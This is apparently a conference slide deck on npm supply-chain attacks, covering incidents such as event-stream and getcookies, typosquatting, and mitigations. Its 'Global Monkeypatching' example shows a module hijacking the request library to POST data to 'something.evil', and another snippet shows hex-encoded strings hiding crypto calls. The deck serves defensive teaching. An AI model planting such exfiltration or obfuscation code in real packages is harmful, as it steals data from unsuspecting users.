Real World Attacks
in the npm Ecosystem

Thomas Hunter II

I'm writing Distributed Systems with Node.js:


  1. Where we are Today
  2. Cracks in the Surface
  3. Known Incidents
  4. Hard Problem to Solve
  5. Mitigation

Where we are Today

JavaScript and Node.js are Popular

Source: Stack Overflow Developer Survey 2017

npm is Popular

Source: npm This year in JavaScript 2018

Your App is Mostly Third-Party

  • npm reports 97%
  • Try it on your own codebase:
  • $ npx @intrinsic/loc
    • Results from 7 corporate codebases:
    • 94.5% - 99.7% Node Modules

Your application code:    68,490 lines ( 2.44%)
`node_modules` code:   2,740,694 lines (97.56%)

What does it all mean?

We've become quite the lucrative target.

Cracks in the Surface

Supply Chain Risks via npm

A supply chain attack is a cyber-attack that seeks to damage an organization by targeting less-secure elements in the supply network. – Wikipedia
  • Developer Mistakes: Accidentally dangerous code
  • Malicious Modules: Package is always evil
  • Ownership Transfer: Package can become evil

@ChALkeR's Research

Source: Gathering weak npm credentials — June 6th, 2017

@ChALkeR's Research

Source: Gathering weak npm credentials — June 6th, 2017

Thought Experiment

  • What if @ChALkeR had been malicious?

Known Incidents

Module: left-pad

  • Unpublished on March 22nd, 2016
  • All hell broke loose
  • A well-intended user republished the module
  • We got lucky: This was not a security incident

Module: getcookies

  • Discovered and unpublished on May 2nd, 2018
  • Looks for special headers and runs arbitrary code
  • getcookies was a deep dep of mailparser
  • mailparser had 64,000 weekly downloads

Module: event-stream

  • Discovered and unpublished on Nov 26th, 2018
  • Malicious flatmap-stream added as dep
    • Happened after ownership transfer
  • Highly Targeted: Only affected Copay app
    • Module used encoded strings, test file
    • Password was description field of Copay
  • Code in GitHub differed from npm

Package Diff

Source: diff.intrinsic.com/webpack-rtl-plugin/1.8.0/1.8.1 | Automattic/wp-calypso#31138

Other Malicious Modules

Source: Snyk Vulnerability DB

Malicious Modules Gaining Popularity

  • npm unpublishes malicious modules
    • This is a game of cat and mouse
  • Ownership transfers: good can become evil
  • Typo Squatting: discordi.js, jquey, coffescript
  • Victim of our own success: think Windows viruses

Example: Global Monkeypatching

const REQUEST = require('request');
const _Req = REQUEST.Request;
REQUEST.Request = (opts) => { // monkeypatch
  const _callback = opts.callback;
  opts.callback = function (_e, _r, body) {
    const req = require('http').request({
      hostname: 'something.evil', method: 'POST'
    _callback.apply(this, arguments);
  return new.target ?
    Reflect.construct(_Req, [opts]) : _Req(opts);

Hard Problem to Solve

Static Analysis won't save you

  • event-stream incident used encoded strings
function d(str) {
  return Buffer.from(str, 'hex').toString();

d("6372656174654465636970686572"); // "createDecipher"

require(d(n[2]))[d(n[6])](d(n[5]); // minified version
require('crypto')['createDecipher']('aes256', pkgDesc);

OSS Ownership Transfer

  • Need a better system for ownership transfer
  • Affects all of OSS, not just npm
  • Should npm force Semver major with new owner?

Need a “CSP for Node.js”

Intrinsic Policies

const PG = 'postgres://pguser@pghost:9876/auth';
const REDIS = 'redis://redishost:6379/1';
routes.allRoutes(policy => {
routes.get('/users/*', policy => {
  policy.redis.allowCommandKey(REDIS, 'GET', 'user-*');
  policy.sql.allowQuery(PG, 'SELECT * FROM users');
routes.post('/admin/lock', policy => {


npm Account Housekeeping

  • Enable Two-Factor Authentication
  • Use a one-off password, password manager

Favor Packages without Dependencies

  • Or at least prefer modules with fewer deps
  • I wish npm had a badge

Automated Audits

Run npm audit periodically, update when possible.

Interpersonal Mitigation

  • Research potential module maintainers
  • Only pass ownership to established users
  • Donate money to package owners, bounties

Mitigation by npm

  • Only npm may unpublish a module
  • Brute force login detection
  • Reject weak passwords upon registration
  • Replace .npmrc password with token
  • Added 2FA support
  • Acquired security company ^Lift + NSP database
  • The NSP database became npm audit
  • Actively unpublish malicious modules

Further Reading